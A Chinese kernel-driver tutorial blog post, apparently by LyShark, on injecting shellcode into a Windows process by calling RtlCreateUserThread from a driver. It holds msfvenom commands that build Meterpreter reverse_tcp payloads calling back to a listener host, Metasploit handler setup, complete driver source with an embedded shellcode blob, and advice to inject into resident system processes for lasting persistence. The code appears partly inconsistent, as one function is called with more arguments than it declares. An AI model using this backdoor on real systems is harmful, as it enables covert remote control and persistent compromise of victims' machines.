驱动开发:内核ShellCode线程注入

简介: 还记得`《驱动开发:内核LoadLibrary实现DLL注入》`中所使用的注入技术吗,我们通过`RtlCreateUserThread`函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入`ShellCode`代码实现反弹Shell,这里需要注意一般情况下`RtlCreateUserThread`需要传入两个最重要的参数,一个是`StartAddress`开始执行的内存块,另一个是`StartParameter`传入内存块的变量列表,而如果将`StartParameter`地址填充为`NULL`则表明不传递任何参数,也就是只在线程中执行`ShellCode`代码,利用

还记得《驱动开发:内核LoadLibrary实现DLL注入》中所使用的注入技术吗,我们通过RtlCreateUserThread函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入ShellCode代码实现反弹Shell,这里需要注意一般情况下RtlCreateUserThread需要传入两个最重要的参数,一个是StartAddress开始执行的内存块,另一个是StartParameter传入内存块的变量列表,而如果将StartParameter地址填充为NULL则表明不传递任何参数,也就是只在线程中执行ShellCode代码,利用这个特点我们就可以在上一篇文章的基础之上简单改进代码即可实现驱动级后门注入的功能。

  • 被控主机IP: 10.0.66.11
  • 控制主机IP: 10.0.66.22

为了能实现反弹后门的功能,我们首先需要使用Metasploit工具生成一段ShellCode代码片段,以32位为例,生成32为反弹代码。

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

生成ShellCode代码片段如下图所示;

image.png

其次服务端需要侦听特定端口,配置参数如下所示;

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set exitfunc thread
msf6 exploit(multi/handler) > set lhost 10.0.66.22
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit

服务端执行后则会进入侦听等待阶段,输出效果图如下所示;

image.png

此时我们使用如下代码片段,并自行修改进程PID为指定目标进程,编译生成驱动程序;

// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com

#include "lyshark.h"

// 定义函数指针
typedef PVOID(NTAPI* PfnRtlCreateUserThread)
(
    IN HANDLE ProcessHandle,
    IN PSECURITY_DESCRIPTOR SecurityDescriptor,
    IN BOOLEAN CreateSuspended,
    IN ULONG StackZeroBits,
    IN OUT size_t StackReserved,
    IN OUT size_t StackCommit,
    IN PVOID StartAddress,
    IN PVOID StartParameter,
    OUT PHANDLE ThreadHandle,
    OUT PCLIENT_ID ClientID
);

// 远程线程注入函数
BOOLEAN MyInjectShellCode(ULONG pid, PVOID pRing3Address)
{
   
   
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    PEPROCESS pEProcess = NULL;
    KAPC_STATE ApcState = {
   
    0 };

    PfnRtlCreateUserThread RtlCreateUserThread = NULL;
    HANDLE hThread = 0;

    __try
    {
   
   
        // 获取RtlCreateUserThread函数的内存地址
        UNICODE_STRING ustrRtlCreateUserThread;
        RtlInitUnicodeString(&ustrRtlCreateUserThread, L"RtlCreateUserThread");
        RtlCreateUserThread = (PfnRtlCreateUserThread)MmGetSystemRoutineAddress(&ustrRtlCreateUserThread);
        if (RtlCreateUserThread == NULL)
        {
   
   
            return FALSE;
        }

        // 根据进程PID获取进程EProcess结构
        status = PsLookupProcessByProcessId((HANDLE)pid, &pEProcess);
        if (!NT_SUCCESS(status))
        {
   
   
            return FALSE;
        }

        // 附加到目标进程内
        KeStackAttachProcess(pEProcess, &ApcState);

        // 验证进程是否可读写
        if (!MmIsAddressValid(pRing3Address))
        {
   
   
            return FALSE;
        }

        // 启动注入线程
        status = RtlCreateUserThread(ZwCurrentProcess(),
            NULL,
            FALSE,
            0,
            0,
            0,
            pRing3Address,
            NULL,
            &hThread,
            NULL);
        if (!NT_SUCCESS(status))
        {
   
   
            return FALSE;
        }

        return TRUE;
    }

    __finally
    {
   
   
        // 释放对象
        if (pEProcess != NULL)
        {
   
   
            ObDereferenceObject(pEProcess);
            pEProcess = NULL;
        }

        // 取消附加进程
        KeUnstackDetachProcess(&ApcState);
    }

    return FALSE;
}

VOID Unload(PDRIVER_OBJECT pDriverObj)
{
   
   
    DbgPrint("[-] 驱动卸载 \n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
   
   
    DbgPrint("Hello LyShark.com \n");

    ULONG process_id = 5844;
    DWORD create_size = 1024;
    DWORD64 ref_address = 0;

    // -------------------------------------------------------
    // 应用层开堆
    // -------------------------------------------------------

    NTSTATUS Status = AllocMemory(process_id, create_size, &ref_address);

    DbgPrint("对端进程: %d \n", process_id);
    DbgPrint("分配长度: %d \n", create_size);
    DbgPrint("分配的内核堆基址: %p \n", ref_address);

    // 设置注入路径,转换为多字节
    UCHAR ShellCode[] =
        "\xdb\xde\xd9\x74\x24\xf4\x5a\xbe\x12\x21\xe9\xef\x31\xc9\xb1"
        "\x59\x31\x72\x19\x83\xc2\x04\x03\x72\x15\xf0\xd4\x15\x07\x7b"
        "\x16\xe6\xd8\xe3\x26\x34\x51\x06\x2c\x33\x30\xf8\x26\x11\xb9"
        "\x73\x6a\x82\x4a\xf1\xa3\xa5\xfb\xbf\x95\x88\xfc\x0e\x1a\x46"
        "\x3e\x11\xe6\x95\x13\xf1\xd7\x55\x66\xf0\x10\x20\x0c\x1d\xcc"
        "\xe4\x65\xb3\xe1\x81\x38\x0f\x03\x46\x37\x2f\x7b\xe3\x88\xdb"
        "\x37\xea\xd8\xa8\x90\xcc\x53\xe6\x38\x5d\x65\x25\xbd\x94\x11"
        "\xf5\xf7\x17\x25\x8e\x3c\xd3\xd8\x46\x0d\x23\x76\xa7\xa1\xae"
        "\x86\xe0\x06\x51\xfd\x1a\x75\xec\x06\xd9\x07\x2a\x82\xfd\xa0"
        "\xb9\x34\xd9\x51\x6d\xa2\xaa\x5e\xda\xa0\xf4\x42\xdd\x65\x8f"
        "\x7f\x56\x88\x5f\xf6\x2c\xaf\x7b\x52\xf6\xce\xda\x3e\x59\xee"
        "\x3c\xe6\x06\x4a\x37\x05\x50\xea\xb8\xd5\x5d\xb6\x2e\x19\x90"
        "\x49\xae\x35\xa3\x3a\x9c\x9a\x1f\xd5\xac\x53\x86\x22\xa5\x74"
        "\x39\xfc\x0d\x14\xc7\xfd\x6d\x3c\x0c\xa9\x3d\x56\xa5\xd2\xd6"
        "\xa6\x4a\x07\x42\xad\xdc\xa2\x92\xf3\x0a\xdb\x90\xf3\x15\x14"
        "\x1d\x15\x09\x7a\x4d\x8a\xea\x2a\x2d\x7a\x83\x20\xa2\xa5\xb3"
        "\x4a\x69\xce\x5e\xa5\xc7\xa6\xf6\x5c\x42\x3c\x66\xa0\x59\x38"
        "\xa8\x2a\x6b\xbc\x67\xdb\x1e\xae\x90\xbc\xe0\x2e\x61\x29\xe0"
        "\x44\x65\xfb\xb7\xf0\x67\xda\xff\x5e\x97\x09\x7c\x98\x67\xcc"
        "\xb4\xd2\x5e\x5a\xf8\x8c\x9e\x8a\xf8\x4c\xc9\xc0\xf8\x24\xad"
        "\xb0\xab\x51\xb2\x6c\xd8\xc9\x27\x8f\x88\xbe\xe0\xe7\x36\x98"
        "\xc7\xa7\xc9\xcf\x5b\xaf\x35\x8d\x73\x08\x5d\x6d\xc4\xa8\x9d"
        "\x07\xc4\xf8\xf5\xdc\xeb\xf7\x35\x1c\x26\x50\x5d\x97\xa7\x12"
        "\xfc\xa8\xed\xf3\xa0\xa9\x02\x28\x53\xd3\x6b\xcf\x94\x24\x62"
        "\xb4\x95\x24\x8a\xca\xaa\xf2\xb3\xb8\xed\xc6\x87\xb3\x58\x6a"
        "\xa1\x59\xa2\x38\xb1\x4b";

    // -------------------------------------------------------
    // 写出数据到内存
    // -------------------------------------------------------

    ReadMemoryStruct ptr;

    ptr.pid = process_id;
    ptr.address = ref_address;
    ptr.size = strlen(ShellCode);

    // 需要写入的数据
    ptr.data = ExAllocatePool(NonPagedPool, ptr.size);

    // 循环设置
    for (int i = 0; i < ptr.size; i++)
    {
   
   
        ptr.data[i] = ShellCode[i];
    }

    // 写内存
    MDLWriteMemory(&ptr);
    ExFreePool(ptr.data);

    // -------------------------------------------------------
    // 执行开线程函数
    // -------------------------------------------------------

    // 执行线程注入
    // 参数1:PID
    // 参数2:LoadLibraryW内存地址
    // 参数3:当前DLL路径
    BOOLEAN flag = MyInjectShellCode(process_id, ref_address, 0);
    if (flag == TRUE)
    {
   
   
        DbgPrint("[*] 已完成进程 %d | 注入地址 %p \n", process_id, ref_address);
    }

    DriverObject->DriverUnload = Unload;
    return STATUS_SUCCESS;
}

编译并在客户端运行这个驱动程序,则会将ShellCode反弹后门注入到PID=5844进程内,输出效果图如下所示;

image.png

此时回到服务端程序,则可看到反弹Shell会话,输出效果图如下所示;

image.png

当然该方法也可注入自定义ShellCode代码,也可实现对某个游戏的Call调用功能等,上文中只是为了通用性而演示的一个案例,在真实的实战环境中,读者可以将代码注入到系统常驻进程上,这样系统启动后自动注入代码以此来实现长久的权限维持。

相关文章
|
25天前
|
Java 调度 Android开发
安卓与iOS开发中的线程管理差异解析
在移动应用开发的广阔天地中,安卓和iOS两大平台各自拥有独特的魅力。如同东西方文化的差异,它们在处理多线程任务时也展现出不同的哲学。本文将带你穿梭于这两个平台之间,比较它们在线程管理上的核心理念、实现方式及性能考量,助你成为跨平台的编程高手。
|
7月前
|
安全 Java 编译器
深入理解PHP 8.0新特性及其对开发的影响Java中的多线程编程:从理论到实践
【5月更文挑战第27天】在这篇文章中,我们将详细探讨PHP 8.0的新特性以及它们如何影响开发者的工作流程。我们将深入研究这些新特性,包括JIT编译器,联合类型,命名参数,以及更多的错误处理机制。我们还将讨论这些新特性如何提高代码的可读性和性能,以及它们如何改变我们编写和维护PHP应用程序的方式。 【5月更文挑战第27天】在现代计算机科学中,多线程编程是一个重要的概念,它允许多个线程在同一时间内运行,从而提高了程序的效率和性能。本文将深入探讨Java中的多线程编程,包括其理论基础,实现方法,以及一些常见的问题和解决方案。我们将通过实例来理解如何创建和管理线程,以及如何使用Java的并发工具来
|
3月前
|
API Android开发 iOS开发
安卓与iOS开发中的线程管理对比
【9月更文挑战第12天】在移动应用的世界中,安卓和iOS平台各自拥有庞大的用户群体。开发者们在这两个平台上构建应用时,线程管理是他们必须面对的关键挑战之一。本文将深入探讨两大平台在线程管理方面的异同,通过直观的代码示例,揭示它们各自的设计理念和实现方式,帮助读者更好地理解如何在安卓与iOS开发中高效地处理多线程任务。
|
4月前
|
安全 测试技术 调度
iOS开发-多线程编程
【8月更文挑战第12天】在iOS开发中,属性的内存管理至关重要,直接影响应用性能与稳定性。主要策略包括:`strong`(强引用),保持对象不被释放;`weak`(弱引用),不保持对象,有助于避免循环引用;`assign`(赋值),适用于基本数据类型及非指针对象类型;`copy`(复制),复制对象而非引用,确保不变性。内存管理基于引用计数,利用自动引用计数(ARC)自动管理对象生命周期。此外,需注意避免循环引用,特别是在block中。最佳实践包括理解各策略、避免不必要的强引用、及时释放不再使用的对象、注意block中的内存管理,并使用工具进行内存分析。正确管理内存能显著提升应用质量。
|
4月前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享安卓与iOS开发中的线程管理比较
【8月更文挑战第30天】本文将探讨网络安全与信息安全的重要性,并分享关于网络安全漏洞、加密技术和安全意识的知识。我们将了解常见的网络攻击类型和防御策略,以及如何通过加密技术和提高安全意识来保护个人和组织的信息安全。
|
5月前
|
缓存 编译器 Go
开发与运维线程问题之Go语言的goroutine基于线程模型实现如何解决
开发与运维线程问题之Go语言的goroutine基于线程模型实现如何解决
60 3
|
5月前
|
算法 编译器 C++
开发与运维线程问题之在C++的原子操作中memory_order如何解决
开发与运维线程问题之在C++的原子操作中memory_order如何解决
52 2
|
5月前
|
Java 运维
开发与运维命令问题之使用jstack命令查看Java进程的线程栈如何解决
开发与运维命令问题之使用jstack命令查看Java进程的线程栈如何解决
72 2
|
5月前
|
存储 安全 Java
Java面试题:假设你正在开发一个Java后端服务,该服务需要处理高并发的用户请求,并且对内存使用效率有严格的要求,在多线程环境下,如何确保共享资源的线程安全?
Java面试题:假设你正在开发一个Java后端服务,该服务需要处理高并发的用户请求,并且对内存使用效率有严格的要求,在多线程环境下,如何确保共享资源的线程安全?
76 0
|
6月前
|
算法 Java 大数据
Java不同版本的多线程开发:进化之路
Java不同版本的多线程开发:进化之路
62 1